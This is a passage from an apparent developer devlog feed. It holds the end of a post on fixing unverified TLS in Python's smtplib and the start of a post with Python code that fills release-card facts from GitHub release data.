&lt;p&gt;The middle line does not move. A connection to the right server succeeds identically either way, which is precisely why this defect is invisible in normal operation, and why the negative control is the only line worth watching.&lt;/p&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Port 465 sounds like the safe one, so nobody audits it.&lt;/strong&gt; The trap is that &lt;code&gt;SMTP_SSL&lt;/code&gt; and &lt;code&gt;starttls()&lt;/code&gt; fail the same way, and the mental model that STARTTLS is the risky path leaves the implicit-TLS branch unreviewed. Symptom: none. The connection succeeds, the mail arrives, the logs are clean. The escape is to treat “which transport” as unrelated to “is it verified,” and pass an explicit context to both.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A green test suite is not evidence here.&lt;/strong&gt; This is the one that bit this release. The mailer reached a feature branch with a passing suite covering the MIME tree, the config resolution and the transport selection, and not one assertion in it could fail on an unverified connection. Counting the pre-fix test file against the released one is the tidiest measure of the gap: zero references to &lt;code&gt;verify_mode&lt;/code&gt; before, six after. Symptom: a review finds the defect and you discover the suite was never watching. The escape is the mutation check. Delete &lt;code&gt;context=context&lt;/code&gt;, run the tests, and confirm something goes red. If nothing does, the test you just wrote is decorative.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Unattended jobs remove the human who would have noticed.&lt;/strong&gt; An interactive client gives someone a chance to see a certificate warning. A scheduled job at 19:00 with a retry at 20:00 has nobody watching, and it re-attempts the same connection on a schedule. That turns a one-time interception into a recurring one. When the job authenticates, assume the credential is the target, not the payload.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;_create_stdlib_context&lt;/code&gt; is private, and pinning against it is a deliberate trade.&lt;/strong&gt; The second test above imports an underscore-prefixed CPython function, which can change without a deprecation cycle. That is the cost of asserting on the exact thing you must not be. If you would rather not depend on a private name, assert the positive properties only and accept that the test no longer names the failure mode it exists to prevent.&lt;/p&gt;
&lt;h2&gt;Sources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://peps.python.org/pep-0476/&quot;&gt;PEP 476: Enabling certificate verification by default for stdlib http clients&lt;/a&gt; — scopes verification to HTTP clients and excludes SMTP explicitly&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://raw.githubusercontent.com/python/cpython/3.12/Lib/smtplib.py&quot;&gt;CPython &lt;code&gt;Lib/smtplib.py&lt;/code&gt;&lt;/a&gt; — the &lt;code&gt;if context is None&lt;/code&gt; fallback in both &lt;code&gt;SMTP_SSL.__init__&lt;/code&gt; and &lt;code&gt;starttls()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://raw.githubusercontent.com/python/cpython/3.12/Lib/ssl.py&quot;&gt;CPython &lt;code&gt;Lib/ssl.py&lt;/code&gt;&lt;/a&gt; — &lt;code&gt;_create_stdlib_context&lt;/code&gt; aliased to &lt;code&gt;_create_unverified_context&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.python.org/3/library/ssl.html#ssl.create_default_context&quot;&gt;Python &lt;code&gt;ssl&lt;/code&gt; documentation&lt;/a&gt; — &lt;code&gt;create_default_context()&lt;/code&gt; sets &lt;code&gt;CERT_REQUIRED&lt;/code&gt; and enables &lt;code&gt;check_hostname&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.python.org/3/library/smtplib.html&quot;&gt;Python &lt;code&gt;smtplib&lt;/code&gt; documentation&lt;/a&gt; — the &lt;code&gt;context&lt;/code&gt; parameter on &lt;code&gt;SMTP_SSL&lt;/code&gt; and &lt;code&gt;starttls()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc8314.html&quot;&gt;RFC 8314&lt;/a&gt; — clients MUST validate server certificates; implicit TLS preferred over STARTTLS&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Changelog&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;release: 0.51.0 — evening brief email (dev → main) (#202) (&lt;a href=&quot;https://github.com/natejswenson/local-fitness/commit/a2156d223c9f40d9b0e2e55b30e0359444f3ef04&quot;&gt;a2156d2&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><enclosure url="https://natejswenson.com/devlog/local-fitness/v0.51.0.png" length="29807" type="image/png"/></item><item><title>The only wrong number was the one a human typed</title><link>https://natejswenson.com/devlog/ghostwriter/v0.15.0/</link><guid isPermaLink="true">https://natejswenson.com/devlog/ghostwriter/v0.15.0/</guid><description>A generated card read its version, date and install steps off the published release and got all of them right. The one figure a person copied from a design doc was stale by half.</description><pubDate>Tue, 04 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Shipped&lt;/h2&gt;
&lt;p&gt;A new card type composes a one-page brochure for a shipped release: nameplate,
headline, the refusal the skill makes in its own words, the install line, and
one proof figure. Underneath it, a script reads the version, tag, publish date
and install commands off the released artifact and refuses outright for a skill
with no published release. A scaffold command writes the card with every factual
slot already filled and every judgment slot left marked &lt;code&gt;TODO&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Then the second card went out with a number that was wrong by half, and the
number was the only thing on it a person had typed.&lt;/p&gt;
&lt;h2&gt;The split worth stealing&lt;/h2&gt;
&lt;p&gt;The interesting thing about generating a document is not the templating. It is
deciding which slots a machine is allowed to fill.&lt;/p&gt;
&lt;p&gt;Some slots have exactly one correct value and it exists somewhere already: the
version, the tag, the publish date, the install command. Nobody should be typing
those, because typing them means the card is correct only for as long as the
person who typed it was paying attention.&lt;/p&gt;
&lt;p&gt;Other slots have no correct value anywhere on disk. The headline. What this
thing is actually for. Which of the skill’s rules to quote. A script that fills
those produces the same card every time, which is another way of saying it
produces a card nobody reads.&lt;/p&gt;
&lt;p&gt;So the rule is: fill every fact from the artifact, mark every judgment, and let
a gate refuse anything still carrying a mark.&lt;/p&gt;
&lt;p&gt;This is &lt;a href=&quot;https://media.pragprog.com/titles/tpp20/dry.pdf&quot;&gt;DRY&lt;/a&gt; applied to a
document rather than to code. The Pragmatic Programmer states it as every piece
of knowledge having “a single, unambiguous, authoritative representation within
a system”, and the failure mode it warns about is exactly what happened here:
the same fact lived in two places, one of them went stale, and the stale one was
the one that got read.&lt;/p&gt;
&lt;h2&gt;Read the facts off the artifact&lt;/h2&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&quot;&quot;Read the facts a generated card is allowed to claim, off the released artifact.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; __future__ &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; annotations&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; semver_key&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(tag: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;str&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, prefix: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;str&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) -&gt; tuple[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, ...]:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;&quot;&quot;Sort key for a namespaced tag like `widget-v0.10.0`.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    Parsed to integers, never compared as text: `0.10.0` sorts BELOW `0.9.0`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    as a string, which silently advertises an older release as the newest.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    body &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; tag[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;len&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(prefix):].lstrip(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;v&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    parts &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (body.split(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;-&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]).split(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;.&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; tuple&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(p) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; p.isdigit() &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; p &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (parts &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;0&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;0&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;0&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;])[:&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; latest_release&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(releases: list[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;dict&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;], component: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;str&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) -&gt; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;dict&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; |&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; None:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;&quot;&quot;The newest published release whose TAG BELONGS TO THIS COMPONENT.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    In a monorepo a repo-wide &quot;latest&quot; is the wrong answer: it prints another&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    component&apos;s version under this one&apos;s name.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    prefix &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;component&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;-v&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    mine &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        r &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; releases&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;tagName&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;].startswith(prefix)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        and&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; not&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r.get(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;isDraft&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;and&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; not&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r.get(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;isPrerelease&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; not&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; mine:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; None&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; max&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(mine, key&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=lambda&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r: semver_key(r[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;tagName&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;], prefix))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; build_facts&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(releases: list[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;dict&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;], component: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;str&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, slug: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;str&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, marketplace: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;str&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) -&gt; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;dict&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;&quot;&quot;Every slot a machine can fill. Refuses outright rather than blanking one.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    rel &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; latest_release(releases, component)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; rel &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;is&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; None:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        raise&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; SystemExit&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;            f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;component&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;: no published release. A card advertising a version &quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;            f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;nobody can install is the one failure it cannot survive.&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    prefix &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;component&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;-v&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;        &quot;component&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: component,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;        &quot;version&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: rel[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;tagName&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;][&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;len&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(prefix):],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;        &quot;tag&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: rel[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;tagName&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;        &quot;publishedAt&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: rel[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;publishedAt&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;][:&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;        # BOTH steps. The install command alone does nothing until the&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;        # marketplace is added, so a card showing one advertises a path that&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;        # does not work.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;        &quot;installSteps&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;            f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;/plugin marketplace add &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;slug&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;            f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;/plugin install &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;component&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;marketplace&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        ],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;releases&lt;/code&gt; is passed in so this stays testable. In real use it comes from
&lt;code&gt;gh release list --repo &amp;lt;slug&amp;gt; --limit 200 --json tagName,publishedAt,isDraft,isPrerelease&lt;/code&gt;,
which the &lt;a href=&quot;https://cli.github.com/manual/gh_release_list&quot;&gt;GitHub CLI manual&lt;/a&gt;
documents as listing releases with those fields, defaulting to 30 items and
newest-first.&lt;/p&gt;
&lt;p&gt;Three filters, and each one is a different way of being confidently wrong.
Draft and prerelease entries are tags that exist without anything installable
behind them. The component prefix is what stops a monorepo from printing a
sibling’s version under this name. And the sort is numeric, because Semantic
Versioning &lt;a href=&quot;https://semver.org/&quot;&gt;compares major, minor and patch numerically&lt;/a&gt;
and a text sort puts &lt;code&gt;0.10.0&lt;/code&gt; below &lt;code&gt;0.9.0&lt;/code&gt;, which is the kind of bug that only
appears once you reach a tenth release and then looks like a caching problem.&lt;/p&gt;
&lt;p&gt;The refusal at the top of &lt;code&gt;build_facts&lt;/code&gt; matters more than it looks. Rendering a
brochure with a blank version is worse than rendering nothing, because a blank
gets filled in later by whoever is closest.&lt;/p&gt;
&lt;h2&gt;Fill the facts, mark the judgment&lt;/h2&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&quot;&quot;Fill every fact slot; leave every judgment slot marked &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;TODO&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; __future__ &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; annotations&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;TEMPLATE &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&quot;&quot;&amp;#x3C;article class=&quot;card&quot; id=&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{example_marker}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&gt;&lt;/span&gt;&lt;/span&gt;
